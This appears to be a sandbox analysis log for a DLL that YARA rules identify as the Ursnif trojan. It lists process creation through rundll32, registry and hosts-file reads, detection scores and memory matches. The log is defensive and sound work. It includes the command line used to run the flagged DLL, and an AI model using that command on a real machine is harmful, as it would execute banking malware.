Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll
Source: C:\Windows\System32\loaddll32.exe	Section loaded: fadfadfadad.dll

Source: hFGZpat9Mf.dll	Virustotal: Detection: 20%
Source: hFGZpat9Mf.dll	ReversingLabs: Detection: 32%

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3272 -s 684
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER410A.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winDLL@6/6@4/7

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_00708912 GetDiskFreeSpaceA,

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_007210CC GetLastError,FormatMessageA,

Source: C:\Windows\System32\loaddll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\hFGZpat9Mf.dll",#1

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3272

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_00716C2C FindResourceA,

Source: C:\Windows\System32\loaddll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000007.00000003.261009852.0000000004A6B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: advapi32.pdbl source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcp_win.pdbk source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: version.pdb` source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shell32.pdbk source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbk source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: oleaut32.pdbv source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: version.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdbj source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: comctl32v582.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000007.00000003.275998905.0000000004DD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: powrprof.pdbr source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000007.00000003.275895747.0000000004CA1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: comctl32v582.pdbg source: WerFault.exe, 00000007.00000003.276007281.0000000004DD7000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0076B448 push dword ptr [0076FF08h]; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007080C0 push ecx; mov dword ptr [esp], ecx
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0070E154 push 0070E180h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0071611C push ecx; mov dword ptr [esp], edx
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072A1E4 push 0072A23Dh; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007061A2 push 007061D0h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007061A4 push 007061D0h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0071627C push ecx; mov dword ptr [esp], edx
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0071E254 push 0071E280h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00716238 push ecx; mov dword ptr [esp], edx
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0070621C push 00706248h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_007182BC push ecx; mov dword ptr [esp], ecx
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00714558 push 007145A5h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072C64C push 0072C6C1h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00714610 push 0071463Ch; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072C6C4 push 0072C71Dh; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072A85C push 0072A89Fh; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072A8D4 push 0072A900h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0071C8C0 push ecx; mov dword ptr [esp], edx
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072A90C push 0072A944h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072A9A0 push 0072A9CCh; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072AA70 push 0072AAA3h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072AAD0 push 0072AAFCh; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00728AD4 push 00728B12h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00728B54 push 00728B8Ch; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072AB20 push 0072AB63h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00728B1C push 00728B48h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072ABEC push 0072AC38h; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072AB88 push 0072ABCBh; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0072AC44 push 0072AC8Fh; ret
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00706CD8 push ecx; mov dword ptr [esp], eax

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0072921C CreatePopupMenu,MITGetCursorUpdateHandle,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,SetDebugErrorLevel,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,DialogBoxParamW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,DialogBoxIndirectParamW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,MITUpdateInputGlobals,

Hooking and other Techniques for Hiding and Protection

Yara detected Ursnif

Source: Yara match	File source: 00000000.00000003.481994883.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302599061.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302425761.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302331542.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302218181.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302044791.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301848056.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.302504649.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301661083.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.777721996.0000000002FD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 988, type: MEMORYSTR
Source: Yara match	File source: 3.2.rundll32.exe.ee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ee0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1080000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.9e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ed0184.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.ed0184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.9e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2500000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1080000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.890184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.1080000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2a094a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.8a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2a094a0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.rundll32.exe.ed0184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.777601117.0000000002A09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253570198.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315781287.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253536439.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315692460.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776718826.00000000009E0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776603802.0000000000890000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254119232.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.253543214.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.776641923.00000000008A0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254127070.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.254160040.0000000001080000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.315717603.0000000000EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00721174 IsIconic,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00E37170 IsIconic,GetWindowPlacement,GetWindowRect,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_00E5D24C IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,

Source: C:\Windows\System32\loaddll32.exe

Source: C:\Windows\SysWOW64\WerFault.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
